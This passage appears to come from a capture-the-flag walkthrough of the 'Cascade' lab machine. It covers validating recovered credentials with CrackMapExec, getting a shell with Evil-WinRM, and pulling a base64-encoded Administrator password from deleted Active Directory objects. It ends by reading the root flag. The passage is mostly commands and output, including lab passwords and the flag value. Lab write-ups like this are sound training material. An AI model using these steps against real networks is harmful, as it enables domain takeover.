use DotPeek on a Windows 10 machine. Simply install it, agree to the user agreement, then do file >>> open
CascAudit.exe and CascCrypto.dll. Find the iv,key, and password and paste it into cyberchef.org.
```

23. **We see if our credential is good using CrackMapExec.**

```
1. ArkSvc:w3lc0meFr31nd
2. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec winrm 10.10.10.182 -u 'ArkSvc' -p
'w3lc0meFr31nd'
WINRM 10.10.10.182 5985 CASC-DC1 [+] cascade.local\ArkSvc:w3lc0meFr31nd (.Pwn3d!)
```

24. **We log in with Evil-WinRM and start our enumeration to try to gain SYSTEM.**

```
1. > evil-winrm -i 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
2. *Evil-WinRM* PS C:\Users\arksvc\Documents> whoami
cascade\arksvc
```

AD Recycle Bin privilege and how to abuse it.

25. We did a search earlier in this walk through for `get-adobject`. This Power-Shell 1 liner will allow us to filter for deleted objects in the recycle bin. Your user needs to have recycle bin permission in Active Directory for us to abuse the vulnerability.

```
1. Google this.
Social Technet get-adobject deleted objects
2. It will take your here.
https://social.msdn.microsoft.com/Forums/vstudio/en-US/6125558b-e85d-4404-a4e4-0c1ef3d5db60/finding-deleted-objects-in-active-directory-using-directoryservices?forum=netfxbc1
4. Apparently the other one is dead and I forgot to copy the one liner. I think I have it in my notes.
5. get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
6. There is this one liner here. Because arksvc user has the Recycle Bin privilege we can use this power-shell one liner to undelete all the delted objects in the Recycle Bin. The note said to create PScredentials for the new account and put them in Temp. We suspect that these credentials are still there.
7. Here is the Power-Shell one liner to exfiltrate all the deleted objects in the Recycle Bin.
8. get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
```

26. Here is the whole output from the Power-Shell one liner to recover objects from the AD Recycle Bin.

```
1. *Evil-WinRM* PS C:\Users\arksvc\Desktop> get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
.....
Deleted                : True
DistinguishedName      : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name                   : CASC-WS1
                        DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass             : computer
ObjectGUID             : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted                : True
DistinguishedName      : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted
Objects,DC=cascade,DC=local
Name                   : TempAdmin
                        DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass             : user
ObjectGUID             : f0cc344d-31e0-4866-bceb-a842791ca059
2. *Evil-WinRM* PS C:\Users\arksvc\Desktop> get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
3. With the '-properties *' flag we can see more verbose output.
```

Admin Credentials

27. We find a *base64 encoded password* in the output this time when we run the `-properties *` flag.

```
1. cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
2. > echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
3. Administrator:baCT3r1aN00dles
4. Great now lets check it with CrackMapExec
5. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
SMB      10.10.10.182    445      CASC-DC1      [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1)
(domain:cascade.local) (signing:True) (SMBv1:False)
SMB      10.10.10.182    445      CASC-DC1      [+] cascade.local\Administrator:baCT3r1aN00dles (.Pwn3d!)
```

28. Now that we validated the creds with CME lets Evil-WinRM in as Administrator.

```
1. > evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator
2. *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
f2ed1416989af2fa5543b372f3e880be
```

Pwn3d!!!